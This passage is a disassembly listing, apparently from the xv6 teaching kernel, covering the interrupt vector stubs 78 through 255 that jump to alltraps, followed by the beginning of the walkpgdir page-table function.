80105f86: 6a 4e push $0x4e
80105f88: e9 90 f8 ff ff jmp 8010581d <alltraps>
80105f8d <vector79>:
80105f8d: 6a 00 push $0x0
80105f8f: 6a 4f push $0x4f
80105f91: e9 87 f8 ff ff jmp 8010581d <alltraps>
80105f96 <vector80>:
80105f96: 6a 00 push $0x0
80105f98: 6a 50 push $0x50
80105f9a: e9 7e f8 ff ff jmp 8010581d <alltraps>
80105f9f <vector81>:
80105f9f: 6a 00 push $0x0
80105fa1: 6a 51 push $0x51
80105fa3: e9 75 f8 ff ff jmp 8010581d <alltraps>
80105fa8 <vector82>:
80105fa8: 6a 00 push $0x0
80105faa: 6a 52 push $0x52
80105fac: e9 6c f8 ff ff jmp 8010581d <alltraps>
80105fb1 <vector83>:
80105fb1: 6a 00 push $0x0
80105fb3: 6a 53 push $0x53
80105fb5: e9 63 f8 ff ff jmp 8010581d <alltraps>
80105fba <vector84>:
80105fba: 6a 00 push $0x0
80105fbc: 6a 54 push $0x54
80105fbe: e9 5a f8 ff ff jmp 8010581d <alltraps>
80105fc3 <vector85>:
80105fc3: 6a 00 push $0x0
80105fc5: 6a 55 push $0x55
80105fc7: e9 51 f8 ff ff jmp 8010581d <alltraps>
80105fcc <vector86>:
80105fcc: 6a 00 push $0x0
80105fce: 6a 56 push $0x56
80105fd0: e9 48 f8 ff ff jmp 8010581d <alltraps>
80105fd5 <vector87>:
80105fd5: 6a 00 push $0x0
80105fd7: 6a 57 push $0x57
80105fd9: e9 3f f8 ff ff jmp 8010581d <alltraps>
80105fde <vector88>:
80105fde: 6a 00 push $0x0
80105fe0: 6a 58 push $0x58
80105fe2: e9 36 f8 ff ff jmp 8010581d <alltraps>
80105fe7 <vector89>:
80105fe7: 6a 00 push $0x0
80105fe9: 6a 59 push $0x59
80105feb: e9 2d f8 ff ff jmp 8010581d <alltraps>
80105ff0 <vector90>:
80105ff0: 6a 00 push $0x0
80105ff2: 6a 5a push $0x5a
80105ff4: e9 24 f8 ff ff jmp 8010581d <alltraps>
80105ff9 <vector91>:
80105ff9: 6a 00 push $0x0
80105ffb: 6a 5b push $0x5b
80105ffd: e9 1b f8 ff ff jmp 8010581d <alltraps>
80106002 <vector92>:
80106002: 6a 00 push $0x0
80106004: 6a 5c push $0x5c
80106006: e9 12 f8 ff ff jmp 8010581d <alltraps>
8010600b <vector93>:
8010600b: 6a 00 push $0x0
8010600d: 6a 5d push $0x5d
8010600f: e9 09 f8 ff ff jmp 8010581d <alltraps>
80106014 <vector94>:
80106014: 6a 00 push $0x0
80106016: 6a 5e push $0x5e
80106018: e9 00 f8 ff ff jmp 8010581d <alltraps>
8010601d <vector95>:
8010601d: 6a 00 push $0x0
8010601f: 6a 5f push $0x5f
80106021: e9 f7 f7 ff ff jmp 8010581d <alltraps>
80106026 <vector96>:
80106026: 6a 00 push $0x0
80106028: 6a 60 push $0x60
8010602a: e9 ee f7 ff ff jmp 8010581d <alltraps>
8010602f <vector97>:
8010602f: 6a 00 push $0x0
80106031: 6a 61 push $0x61
80106033: e9 e5 f7 ff ff jmp 8010581d <alltraps>
80106038 <vector98>:
80106038: 6a 00 push $0x0
8010603a: 6a 62 push $0x62
8010603c: e9 dc f7 ff ff jmp 8010581d <alltraps>
80106041 <vector99>:
80106041: 6a 00 push $0x0
80106043: 6a 63 push $0x63
80106045: e9 d3 f7 ff ff jmp 8010581d <alltraps>
8010604a <vector100>:
8010604a: 6a 00 push $0x0
8010604c: 6a 64 push $0x64
8010604e: e9 ca f7 ff ff jmp 8010581d <alltraps>
80106053 <vector101>:
80106053: 6a 00 push $0x0
80106055: 6a 65 push $0x65
80106057: e9 c1 f7 ff ff jmp 8010581d <alltraps>
8010605c <vector102>:
8010605c: 6a 00 push $0x0
8010605e: 6a 66 push $0x66
80106060: e9 b8 f7 ff ff jmp 8010581d <alltraps>
80106065 <vector103>:
80106065: 6a 00 push $0x0
80106067: 6a 67 push $0x67
80106069: e9 af f7 ff ff jmp 8010581d <alltraps>
8010606e <vector104>:
8010606e: 6a 00 push $0x0
80106070: 6a 68 push $0x68
80106072: e9 a6 f7 ff ff jmp 8010581d <alltraps>
80106077 <vector105>:
80106077: 6a 00 push $0x0
80106079: 6a 69 push $0x69
8010607b: e9 9d f7 ff ff jmp 8010581d <alltraps>
80106080 <vector106>:
80106080: 6a 00 push $0x0
80106082: 6a 6a push $0x6a
80106084: e9 94 f7 ff ff jmp 8010581d <alltraps>
80106089 <vector107>:
80106089: 6a 00 push $0x0
8010608b: 6a 6b push $0x6b
8010608d: e9 8b f7 ff ff jmp 8010581d <alltraps>
80106092 <vector108>:
80106092: 6a 00 push $0x0
80106094: 6a 6c push $0x6c
80106096: e9 82 f7 ff ff jmp 8010581d <alltraps>
8010609b <vector109>:
8010609b: 6a 00 push $0x0
8010609d: 6a 6d push $0x6d
8010609f: e9 79 f7 ff ff jmp 8010581d <alltraps>
801060a4 <vector110>:
801060a4: 6a 00 push $0x0
801060a6: 6a 6e push $0x6e
801060a8: e9 70 f7 ff ff jmp 8010581d <alltraps>
801060ad <vector111>:
801060ad: 6a 00 push $0x0
801060af: 6a 6f push $0x6f
801060b1: e9 67 f7 ff ff jmp 8010581d <alltraps>
801060b6 <vector112>:
801060b6: 6a 00 push $0x0
801060b8: 6a 70 push $0x70
801060ba: e9 5e f7 ff ff jmp 8010581d <alltraps>
801060bf <vector113>:
801060bf: 6a 00 push $0x0
801060c1: 6a 71 push $0x71
801060c3: e9 55 f7 ff ff jmp 8010581d <alltraps>
801060c8 <vector114>:
801060c8: 6a 00 push $0x0
801060ca: 6a 72 push $0x72
801060cc: e9 4c f7 ff ff jmp 8010581d <alltraps>
801060d1 <vector115>:
801060d1: 6a 00 push $0x0
801060d3: 6a 73 push $0x73
801060d5: e9 43 f7 ff ff jmp 8010581d <alltraps>
801060da <vector116>:
801060da: 6a 00 push $0x0
801060dc: 6a 74 push $0x74
801060de: e9 3a f7 ff ff jmp 8010581d <alltraps>
801060e3 <vector117>:
801060e3: 6a 00 push $0x0
801060e5: 6a 75 push $0x75
801060e7: e9 31 f7 ff ff jmp 8010581d <alltraps>
801060ec <vector118>:
801060ec: 6a 00 push $0x0
801060ee: 6a 76 push $0x76
801060f0: e9 28 f7 ff ff jmp 8010581d <alltraps>
801060f5 <vector119>:
801060f5: 6a 00 push $0x0
801060f7: 6a 77 push $0x77
801060f9: e9 1f f7 ff ff jmp 8010581d <alltraps>
801060fe <vector120>:
801060fe: 6a 00 push $0x0
80106100: 6a 78 push $0x78
80106102: e9 16 f7 ff ff jmp 8010581d <alltraps>
80106107 <vector121>:
80106107: 6a 00 push $0x0
80106109: 6a 79 push $0x79
8010610b: e9 0d f7 ff ff jmp 8010581d <alltraps>
80106110 <vector122>:
80106110: 6a 00 push $0x0
80106112: 6a 7a push $0x7a
80106114: e9 04 f7 ff ff jmp 8010581d <alltraps>
80106119 <vector123>:
80106119: 6a 00 push $0x0
8010611b: 6a 7b push $0x7b
8010611d: e9 fb f6 ff ff jmp 8010581d <alltraps>
80106122 <vector124>:
80106122: 6a 00 push $0x0
80106124: 6a 7c push $0x7c
80106126: e9 f2 f6 ff ff jmp 8010581d <alltraps>
8010612b <vector125>:
8010612b: 6a 00 push $0x0
8010612d: 6a 7d push $0x7d
8010612f: e9 e9 f6 ff ff jmp 8010581d <alltraps>
80106134 <vector126>:
80106134: 6a 00 push $0x0
80106136: 6a 7e push $0x7e
80106138: e9 e0 f6 ff ff jmp 8010581d <alltraps>
8010613d <vector127>:
8010613d: 6a 00 push $0x0
8010613f: 6a 7f push $0x7f
80106141: e9 d7 f6 ff ff jmp 8010581d <alltraps>
80106146 <vector128>:
80106146: 6a 00 push $0x0
80106148: 68 80 00 00 00 push $0x80
8010614d: e9 cb f6 ff ff jmp 8010581d <alltraps>
80106152 <vector129>:
80106152: 6a 00 push $0x0
80106154: 68 81 00 00 00 push $0x81
80106159: e9 bf f6 ff ff jmp 8010581d <alltraps>
8010615e <vector130>:
8010615e: 6a 00 push $0x0
80106160: 68 82 00 00 00 push $0x82
80106165: e9 b3 f6 ff ff jmp 8010581d <alltraps>
8010616a <vector131>:
8010616a: 6a 00 push $0x0
8010616c: 68 83 00 00 00 push $0x83
80106171: e9 a7 f6 ff ff jmp 8010581d <alltraps>
80106176 <vector132>:
80106176: 6a 00 push $0x0
80106178: 68 84 00 00 00 push $0x84
8010617d: e9 9b f6 ff ff jmp 8010581d <alltraps>
80106182 <vector133>:
80106182: 6a 00 push $0x0
80106184: 68 85 00 00 00 push $0x85
80106189: e9 8f f6 ff ff jmp 8010581d <alltraps>
8010618e <vector134>:
8010618e: 6a 00 push $0x0
80106190: 68 86 00 00 00 push $0x86
80106195: e9 83 f6 ff ff jmp 8010581d <alltraps>
8010619a <vector135>:
8010619a: 6a 00 push $0x0
8010619c: 68 87 00 00 00 push $0x87
801061a1: e9 77 f6 ff ff jmp 8010581d <alltraps>
801061a6 <vector136>:
801061a6: 6a 00 push $0x0
801061a8: 68 88 00 00 00 push $0x88
801061ad: e9 6b f6 ff ff jmp 8010581d <alltraps>
801061b2 <vector137>:
801061b2: 6a 00 push $0x0
801061b4: 68 89 00 00 00 push $0x89
801061b9: e9 5f f6 ff ff jmp 8010581d <alltraps>
801061be <vector138>:
801061be: 6a 00 push $0x0
801061c0: 68 8a 00 00 00 push $0x8a
801061c5: e9 53 f6 ff ff jmp 8010581d <alltraps>
801061ca <vector139>:
801061ca: 6a 00 push $0x0
801061cc: 68 8b 00 00 00 push $0x8b
801061d1: e9 47 f6 ff ff jmp 8010581d <alltraps>
801061d6 <vector140>:
801061d6: 6a 00 push $0x0
801061d8: 68 8c 00 00 00 push $0x8c
801061dd: e9 3b f6 ff ff jmp 8010581d <alltraps>
801061e2 <vector141>:
801061e2: 6a 00 push $0x0
801061e4: 68 8d 00 00 00 push $0x8d
801061e9: e9 2f f6 ff ff jmp 8010581d <alltraps>
801061ee <vector142>:
801061ee: 6a 00 push $0x0
801061f0: 68 8e 00 00 00 push $0x8e
801061f5: e9 23 f6 ff ff jmp 8010581d <alltraps>
801061fa <vector143>:
801061fa: 6a 00 push $0x0
801061fc: 68 8f 00 00 00 push $0x8f
80106201: e9 17 f6 ff ff jmp 8010581d <alltraps>
80106206 <vector144>:
80106206: 6a 00 push $0x0
80106208: 68 90 00 00 00 push $0x90
8010620d: e9 0b f6 ff ff jmp 8010581d <alltraps>
80106212 <vector145>:
80106212: 6a 00 push $0x0
80106214: 68 91 00 00 00 push $0x91
80106219: e9 ff f5 ff ff jmp 8010581d <alltraps>
8010621e <vector146>:
8010621e: 6a 00 push $0x0
80106220: 68 92 00 00 00 push $0x92
80106225: e9 f3 f5 ff ff jmp 8010581d <alltraps>
8010622a <vector147>:
8010622a: 6a 00 push $0x0
8010622c: 68 93 00 00 00 push $0x93
80106231: e9 e7 f5 ff ff jmp 8010581d <alltraps>
80106236 <vector148>:
80106236: 6a 00 push $0x0
80106238: 68 94 00 00 00 push $0x94
8010623d: e9 db f5 ff ff jmp 8010581d <alltraps>
80106242 <vector149>:
80106242: 6a 00 push $0x0
80106244: 68 95 00 00 00 push $0x95
80106249: e9 cf f5 ff ff jmp 8010581d <alltraps>
8010624e <vector150>:
8010624e: 6a 00 push $0x0
80106250: 68 96 00 00 00 push $0x96
80106255: e9 c3 f5 ff ff jmp 8010581d <alltraps>
8010625a <vector151>:
8010625a: 6a 00 push $0x0
8010625c: 68 97 00 00 00 push $0x97
80106261: e9 b7 f5 ff ff jmp 8010581d <alltraps>
80106266 <vector152>:
80106266: 6a 00 push $0x0
80106268: 68 98 00 00 00 push $0x98
8010626d: e9 ab f5 ff ff jmp 8010581d <alltraps>
80106272 <vector153>:
80106272: 6a 00 push $0x0
80106274: 68 99 00 00 00 push $0x99
80106279: e9 9f f5 ff ff jmp 8010581d <alltraps>
8010627e <vector154>:
8010627e: 6a 00 push $0x0
80106280: 68 9a 00 00 00 push $0x9a
80106285: e9 93 f5 ff ff jmp 8010581d <alltraps>
8010628a <vector155>:
8010628a: 6a 00 push $0x0
8010628c: 68 9b 00 00 00 push $0x9b
80106291: e9 87 f5 ff ff jmp 8010581d <alltraps>
80106296 <vector156>:
80106296: 6a 00 push $0x0
80106298: 68 9c 00 00 00 push $0x9c
8010629d: e9 7b f5 ff ff jmp 8010581d <alltraps>
801062a2 <vector157>:
801062a2: 6a 00 push $0x0
801062a4: 68 9d 00 00 00 push $0x9d
801062a9: e9 6f f5 ff ff jmp 8010581d <alltraps>
801062ae <vector158>:
801062ae: 6a 00 push $0x0
801062b0: 68 9e 00 00 00 push $0x9e
801062b5: e9 63 f5 ff ff jmp 8010581d <alltraps>
801062ba <vector159>:
801062ba: 6a 00 push $0x0
801062bc: 68 9f 00 00 00 push $0x9f
801062c1: e9 57 f5 ff ff jmp 8010581d <alltraps>
801062c6 <vector160>:
801062c6: 6a 00 push $0x0
801062c8: 68 a0 00 00 00 push $0xa0
801062cd: e9 4b f5 ff ff jmp 8010581d <alltraps>
801062d2 <vector161>:
801062d2: 6a 00 push $0x0
801062d4: 68 a1 00 00 00 push $0xa1
801062d9: e9 3f f5 ff ff jmp 8010581d <alltraps>
801062de <vector162>:
801062de: 6a 00 push $0x0
801062e0: 68 a2 00 00 00 push $0xa2
801062e5: e9 33 f5 ff ff jmp 8010581d <alltraps>
801062ea <vector163>:
801062ea: 6a 00 push $0x0
801062ec: 68 a3 00 00 00 push $0xa3
801062f1: e9 27 f5 ff ff jmp 8010581d <alltraps>
801062f6 <vector164>:
801062f6: 6a 00 push $0x0
801062f8: 68 a4 00 00 00 push $0xa4
801062fd: e9 1b f5 ff ff jmp 8010581d <alltraps>
80106302 <vector165>:
80106302: 6a 00 push $0x0
80106304: 68 a5 00 00 00 push $0xa5
80106309: e9 0f f5 ff ff jmp 8010581d <alltraps>
8010630e <vector166>:
8010630e: 6a 00 push $0x0
80106310: 68 a6 00 00 00 push $0xa6
80106315: e9 03 f5 ff ff jmp 8010581d <alltraps>
8010631a <vector167>:
8010631a: 6a 00 push $0x0
8010631c: 68 a7 00 00 00 push $0xa7
80106321: e9 f7 f4 ff ff jmp 8010581d <alltraps>
80106326 <vector168>:
80106326: 6a 00 push $0x0
80106328: 68 a8 00 00 00 push $0xa8
8010632d: e9 eb f4 ff ff jmp 8010581d <alltraps>
80106332 <vector169>:
80106332: 6a 00 push $0x0
80106334: 68 a9 00 00 00 push $0xa9
80106339: e9 df f4 ff ff jmp 8010581d <alltraps>
8010633e <vector170>:
8010633e: 6a 00 push $0x0
80106340: 68 aa 00 00 00 push $0xaa
80106345: e9 d3 f4 ff ff jmp 8010581d <alltraps>
8010634a <vector171>:
8010634a: 6a 00 push $0x0
8010634c: 68 ab 00 00 00 push $0xab
80106351: e9 c7 f4 ff ff jmp 8010581d <alltraps>
80106356 <vector172>:
80106356: 6a 00 push $0x0
80106358: 68 ac 00 00 00 push $0xac
8010635d: e9 bb f4 ff ff jmp 8010581d <alltraps>
80106362 <vector173>:
80106362: 6a 00 push $0x0
80106364: 68 ad 00 00 00 push $0xad
80106369: e9 af f4 ff ff jmp 8010581d <alltraps>
8010636e <vector174>:
8010636e: 6a 00 push $0x0
80106370: 68 ae 00 00 00 push $0xae
80106375: e9 a3 f4 ff ff jmp 8010581d <alltraps>
8010637a <vector175>:
8010637a: 6a 00 push $0x0
8010637c: 68 af 00 00 00 push $0xaf
80106381: e9 97 f4 ff ff jmp 8010581d <alltraps>
80106386 <vector176>:
80106386: 6a 00 push $0x0
80106388: 68 b0 00 00 00 push $0xb0
8010638d: e9 8b f4 ff ff jmp 8010581d <alltraps>
80106392 <vector177>:
80106392: 6a 00 push $0x0
80106394: 68 b1 00 00 00 push $0xb1
80106399: e9 7f f4 ff ff jmp 8010581d <alltraps>
8010639e <vector178>:
8010639e: 6a 00 push $0x0
801063a0: 68 b2 00 00 00 push $0xb2
801063a5: e9 73 f4 ff ff jmp 8010581d <alltraps>
801063aa <vector179>:
801063aa: 6a 00 push $0x0
801063ac: 68 b3 00 00 00 push $0xb3
801063b1: e9 67 f4 ff ff jmp 8010581d <alltraps>
801063b6 <vector180>:
801063b6: 6a 00 push $0x0
801063b8: 68 b4 00 00 00 push $0xb4
801063bd: e9 5b f4 ff ff jmp 8010581d <alltraps>
801063c2 <vector181>:
801063c2: 6a 00 push $0x0
801063c4: 68 b5 00 00 00 push $0xb5
801063c9: e9 4f f4 ff ff jmp 8010581d <alltraps>
801063ce <vector182>:
801063ce: 6a 00 push $0x0
801063d0: 68 b6 00 00 00 push $0xb6
801063d5: e9 43 f4 ff ff jmp 8010581d <alltraps>
801063da <vector183>:
801063da: 6a 00 push $0x0
801063dc: 68 b7 00 00 00 push $0xb7
801063e1: e9 37 f4 ff ff jmp 8010581d <alltraps>
801063e6 <vector184>:
801063e6: 6a 00 push $0x0
801063e8: 68 b8 00 00 00 push $0xb8
801063ed: e9 2b f4 ff ff jmp 8010581d <alltraps>
801063f2 <vector185>:
801063f2: 6a 00 push $0x0
801063f4: 68 b9 00 00 00 push $0xb9
801063f9: e9 1f f4 ff ff jmp 8010581d <alltraps>
801063fe <vector186>:
801063fe: 6a 00 push $0x0
80106400: 68 ba 00 00 00 push $0xba
80106405: e9 13 f4 ff ff jmp 8010581d <alltraps>
8010640a <vector187>:
8010640a: 6a 00 push $0x0
8010640c: 68 bb 00 00 00 push $0xbb
80106411: e9 07 f4 ff ff jmp 8010581d <alltraps>
80106416 <vector188>:
80106416: 6a 00 push $0x0
80106418: 68 bc 00 00 00 push $0xbc
8010641d: e9 fb f3 ff ff jmp 8010581d <alltraps>
80106422 <vector189>:
80106422: 6a 00 push $0x0
80106424: 68 bd 00 00 00 push $0xbd
80106429: e9 ef f3 ff ff jmp 8010581d <alltraps>
8010642e <vector190>:
8010642e: 6a 00 push $0x0
80106430: 68 be 00 00 00 push $0xbe
80106435: e9 e3 f3 ff ff jmp 8010581d <alltraps>
8010643a <vector191>:
8010643a: 6a 00 push $0x0
8010643c: 68 bf 00 00 00 push $0xbf
80106441: e9 d7 f3 ff ff jmp 8010581d <alltraps>
80106446 <vector192>:
80106446: 6a 00 push $0x0
80106448: 68 c0 00 00 00 push $0xc0
8010644d: e9 cb f3 ff ff jmp 8010581d <alltraps>
80106452 <vector193>:
80106452: 6a 00 push $0x0
80106454: 68 c1 00 00 00 push $0xc1
80106459: e9 bf f3 ff ff jmp 8010581d <alltraps>
8010645e <vector194>:
8010645e: 6a 00 push $0x0
80106460: 68 c2 00 00 00 push $0xc2
80106465: e9 b3 f3 ff ff jmp 8010581d <alltraps>
8010646a <vector195>:
8010646a: 6a 00 push $0x0
8010646c: 68 c3 00 00 00 push $0xc3
80106471: e9 a7 f3 ff ff jmp 8010581d <alltraps>
80106476 <vector196>:
80106476: 6a 00 push $0x0
80106478: 68 c4 00 00 00 push $0xc4
8010647d: e9 9b f3 ff ff jmp 8010581d <alltraps>
80106482 <vector197>:
80106482: 6a 00 push $0x0
80106484: 68 c5 00 00 00 push $0xc5
80106489: e9 8f f3 ff ff jmp 8010581d <alltraps>
8010648e <vector198>:
8010648e: 6a 00 push $0x0
80106490: 68 c6 00 00 00 push $0xc6
80106495: e9 83 f3 ff ff jmp 8010581d <alltraps>
8010649a <vector199>:
8010649a: 6a 00 push $0x0
8010649c: 68 c7 00 00 00 push $0xc7
801064a1: e9 77 f3 ff ff jmp 8010581d <alltraps>
801064a6 <vector200>:
801064a6: 6a 00 push $0x0
801064a8: 68 c8 00 00 00 push $0xc8
801064ad: e9 6b f3 ff ff jmp 8010581d <alltraps>
801064b2 <vector201>:
801064b2: 6a 00 push $0x0
801064b4: 68 c9 00 00 00 push $0xc9
801064b9: e9 5f f3 ff ff jmp 8010581d <alltraps>
801064be <vector202>:
801064be: 6a 00 push $0x0
801064c0: 68 ca 00 00 00 push $0xca
801064c5: e9 53 f3 ff ff jmp 8010581d <alltraps>
801064ca <vector203>:
801064ca: 6a 00 push $0x0
801064cc: 68 cb 00 00 00 push $0xcb
801064d1: e9 47 f3 ff ff jmp 8010581d <alltraps>
801064d6 <vector204>:
801064d6: 6a 00 push $0x0
801064d8: 68 cc 00 00 00 push $0xcc
801064dd: e9 3b f3 ff ff jmp 8010581d <alltraps>
801064e2 <vector205>:
801064e2: 6a 00 push $0x0
801064e4: 68 cd 00 00 00 push $0xcd
801064e9: e9 2f f3 ff ff jmp 8010581d <alltraps>
801064ee <vector206>:
801064ee: 6a 00 push $0x0
801064f0: 68 ce 00 00 00 push $0xce
801064f5: e9 23 f3 ff ff jmp 8010581d <alltraps>
801064fa <vector207>:
801064fa: 6a 00 push $0x0
801064fc: 68 cf 00 00 00 push $0xcf
80106501: e9 17 f3 ff ff jmp 8010581d <alltraps>
80106506 <vector208>:
80106506: 6a 00 push $0x0
80106508: 68 d0 00 00 00 push $0xd0
8010650d: e9 0b f3 ff ff jmp 8010581d <alltraps>
80106512 <vector209>:
80106512: 6a 00 push $0x0
80106514: 68 d1 00 00 00 push $0xd1
80106519: e9 ff f2 ff ff jmp 8010581d <alltraps>
8010651e <vector210>:
8010651e: 6a 00 push $0x0
80106520: 68 d2 00 00 00 push $0xd2
80106525: e9 f3 f2 ff ff jmp 8010581d <alltraps>
8010652a <vector211>:
8010652a: 6a 00 push $0x0
8010652c: 68 d3 00 00 00 push $0xd3
80106531: e9 e7 f2 ff ff jmp 8010581d <alltraps>
80106536 <vector212>:
80106536: 6a 00 push $0x0
80106538: 68 d4 00 00 00 push $0xd4
8010653d: e9 db f2 ff ff jmp 8010581d <alltraps>
80106542 <vector213>:
80106542: 6a 00 push $0x0
80106544: 68 d5 00 00 00 push $0xd5
80106549: e9 cf f2 ff ff jmp 8010581d <alltraps>
8010654e <vector214>:
8010654e: 6a 00 push $0x0
80106550: 68 d6 00 00 00 push $0xd6
80106555: e9 c3 f2 ff ff jmp 8010581d <alltraps>
8010655a <vector215>:
8010655a: 6a 00 push $0x0
8010655c: 68 d7 00 00 00 push $0xd7
80106561: e9 b7 f2 ff ff jmp 8010581d <alltraps>
80106566 <vector216>:
80106566: 6a 00 push $0x0
80106568: 68 d8 00 00 00 push $0xd8
8010656d: e9 ab f2 ff ff jmp 8010581d <alltraps>
80106572 <vector217>:
80106572: 6a 00 push $0x0
80106574: 68 d9 00 00 00 push $0xd9
80106579: e9 9f f2 ff ff jmp 8010581d <alltraps>
8010657e <vector218>:
8010657e: 6a 00 push $0x0
80106580: 68 da 00 00 00 push $0xda
80106585: e9 93 f2 ff ff jmp 8010581d <alltraps>
8010658a <vector219>:
8010658a: 6a 00 push $0x0
8010658c: 68 db 00 00 00 push $0xdb
80106591: e9 87 f2 ff ff jmp 8010581d <alltraps>
80106596 <vector220>:
80106596: 6a 00 push $0x0
80106598: 68 dc 00 00 00 push $0xdc
8010659d: e9 7b f2 ff ff jmp 8010581d <alltraps>
801065a2 <vector221>:
801065a2: 6a 00 push $0x0
801065a4: 68 dd 00 00 00 push $0xdd
801065a9: e9 6f f2 ff ff jmp 8010581d <alltraps>
801065ae <vector222>:
801065ae: 6a 00 push $0x0
801065b0: 68 de 00 00 00 push $0xde
801065b5: e9 63 f2 ff ff jmp 8010581d <alltraps>
801065ba <vector223>:
801065ba: 6a 00 push $0x0
801065bc: 68 df 00 00 00 push $0xdf
801065c1: e9 57 f2 ff ff jmp 8010581d <alltraps>
801065c6 <vector224>:
801065c6: 6a 00 push $0x0
801065c8: 68 e0 00 00 00 push $0xe0
801065cd: e9 4b f2 ff ff jmp 8010581d <alltraps>
801065d2 <vector225>:
801065d2: 6a 00 push $0x0
801065d4: 68 e1 00 00 00 push $0xe1
801065d9: e9 3f f2 ff ff jmp 8010581d <alltraps>
801065de <vector226>:
801065de: 6a 00 push $0x0
801065e0: 68 e2 00 00 00 push $0xe2
801065e5: e9 33 f2 ff ff jmp 8010581d <alltraps>
801065ea <vector227>:
801065ea: 6a 00 push $0x0
801065ec: 68 e3 00 00 00 push $0xe3
801065f1: e9 27 f2 ff ff jmp 8010581d <alltraps>
801065f6 <vector228>:
801065f6: 6a 00 push $0x0
801065f8: 68 e4 00 00 00 push $0xe4
801065fd: e9 1b f2 ff ff jmp 8010581d <alltraps>
80106602 <vector229>:
80106602: 6a 00 push $0x0
80106604: 68 e5 00 00 00 push $0xe5
80106609: e9 0f f2 ff ff jmp 8010581d <alltraps>
8010660e <vector230>:
8010660e: 6a 00 push $0x0
80106610: 68 e6 00 00 00 push $0xe6
80106615: e9 03 f2 ff ff jmp 8010581d <alltraps>
8010661a <vector231>:
8010661a: 6a 00 push $0x0
8010661c: 68 e7 00 00 00 push $0xe7
80106621: e9 f7 f1 ff ff jmp 8010581d <alltraps>
80106626 <vector232>:
80106626: 6a 00 push $0x0
80106628: 68 e8 00 00 00 push $0xe8
8010662d: e9 eb f1 ff ff jmp 8010581d <alltraps>
80106632 <vector233>:
80106632: 6a 00 push $0x0
80106634: 68 e9 00 00 00 push $0xe9
80106639: e9 df f1 ff ff jmp 8010581d <alltraps>
8010663e <vector234>:
8010663e: 6a 00 push $0x0
80106640: 68 ea 00 00 00 push $0xea
80106645: e9 d3 f1 ff ff jmp 8010581d <alltraps>
8010664a <vector235>:
8010664a: 6a 00 push $0x0
8010664c: 68 eb 00 00 00 push $0xeb
80106651: e9 c7 f1 ff ff jmp 8010581d <alltraps>
80106656 <vector236>:
80106656: 6a 00 push $0x0
80106658: 68 ec 00 00 00 push $0xec
8010665d: e9 bb f1 ff ff jmp 8010581d <alltraps>
80106662 <vector237>:
80106662: 6a 00 push $0x0
80106664: 68 ed 00 00 00 push $0xed
80106669: e9 af f1 ff ff jmp 8010581d <alltraps>
8010666e <vector238>:
8010666e: 6a 00 push $0x0
80106670: 68 ee 00 00 00 push $0xee
80106675: e9 a3 f1 ff ff jmp 8010581d <alltraps>
8010667a <vector239>:
8010667a: 6a 00 push $0x0
8010667c: 68 ef 00 00 00 push $0xef
80106681: e9 97 f1 ff ff jmp 8010581d <alltraps>
80106686 <vector240>:
80106686: 6a 00 push $0x0
80106688: 68 f0 00 00 00 push $0xf0
8010668d: e9 8b f1 ff ff jmp 8010581d <alltraps>
80106692 <vector241>:
80106692: 6a 00 push $0x0
80106694: 68 f1 00 00 00 push $0xf1
80106699: e9 7f f1 ff ff jmp 8010581d <alltraps>
8010669e <vector242>:
8010669e: 6a 00 push $0x0
801066a0: 68 f2 00 00 00 push $0xf2
801066a5: e9 73 f1 ff ff jmp 8010581d <alltraps>
801066aa <vector243>:
801066aa: 6a 00 push $0x0
801066ac: 68 f3 00 00 00 push $0xf3
801066b1: e9 67 f1 ff ff jmp 8010581d <alltraps>
801066b6 <vector244>:
801066b6: 6a 00 push $0x0
801066b8: 68 f4 00 00 00 push $0xf4
801066bd: e9 5b f1 ff ff jmp 8010581d <alltraps>
801066c2 <vector245>:
801066c2: 6a 00 push $0x0
801066c4: 68 f5 00 00 00 push $0xf5
801066c9: e9 4f f1 ff ff jmp 8010581d <alltraps>
801066ce <vector246>:
801066ce: 6a 00 push $0x0
801066d0: 68 f6 00 00 00 push $0xf6
801066d5: e9 43 f1 ff ff jmp 8010581d <alltraps>
801066da <vector247>:
801066da: 6a 00 push $0x0
801066dc: 68 f7 00 00 00 push $0xf7
801066e1: e9 37 f1 ff ff jmp 8010581d <alltraps>
801066e6 <vector248>:
801066e6: 6a 00 push $0x0
801066e8: 68 f8 00 00 00 push $0xf8
801066ed: e9 2b f1 ff ff jmp 8010581d <alltraps>
801066f2 <vector249>:
801066f2: 6a 00 push $0x0
801066f4: 68 f9 00 00 00 push $0xf9
801066f9: e9 1f f1 ff ff jmp 8010581d <alltraps>
801066fe <vector250>:
801066fe: 6a 00 push $0x0
80106700: 68 fa 00 00 00 push $0xfa
80106705: e9 13 f1 ff ff jmp 8010581d <alltraps>
8010670a <vector251>:
8010670a: 6a 00 push $0x0
8010670c: 68 fb 00 00 00 push $0xfb
80106711: e9 07 f1 ff ff jmp 8010581d <alltraps>
80106716 <vector252>:
80106716: 6a 00 push $0x0
80106718: 68 fc 00 00 00 push $0xfc
8010671d: e9 fb f0 ff ff jmp 8010581d <alltraps>
80106722 <vector253>:
80106722: 6a 00 push $0x0
80106724: 68 fd 00 00 00 push $0xfd
80106729: e9 ef f0 ff ff jmp 8010581d <alltraps>
8010672e <vector254>:
8010672e: 6a 00 push $0x0
80106730: 68 fe 00 00 00 push $0xfe
80106735: e9 e3 f0 ff ff jmp 8010581d <alltraps>
8010673a <vector255>:
8010673a: 6a 00 push $0x0
8010673c: 68 ff 00 00 00 push $0xff
80106741: e9 d7 f0 ff ff jmp 8010581d <alltraps>
80106746: 66 90 xchg %ax,%ax
80106748: 66 90 xchg %ax,%ax
8010674a: 66 90 xchg %ax,%ax
8010674c: 66 90 xchg %ax,%ax
8010674e: 66 90 xchg %ax,%ax
80106750 <walkpgdir>:
80106750: 55 push %ebp
80106751: 89 e5 mov %esp,%ebp
80106753: 57 push %edi
80106754: 56 push %esi
80106755: 53 push %ebx
80106756: 89 d3 mov %edx,%ebx
80106758: c1 ea 16 shr $0x16,%edx
8010675b: 8d 3c 90 lea (%eax,%edx,4),%edi
8010675e: 83 ec 0c sub $0xc,%esp
80106761: 8b 07 mov (%edi),%eax
80106763: a8 01 test $0x1,%al
80106765: 74 29 je 80106790 <walkpgdir+0x40>
80106767: 25 00 f0 ff ff and $0xfffff000,%eax
8010676c: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi
80106772: 8d 65 f4 lea -0xc(%ebp),%esp
80106775: c1 eb 0a shr $0xa,%ebx
80106778: 81 e3 fc 0f 00 00 and $0xffc,%ebx
8010677e: 8d 04 1e lea (%esi,%ebx,1),%eax
80106781: 5b pop %ebx
80106782: 5e pop %esi
80106783: 5f pop %edi
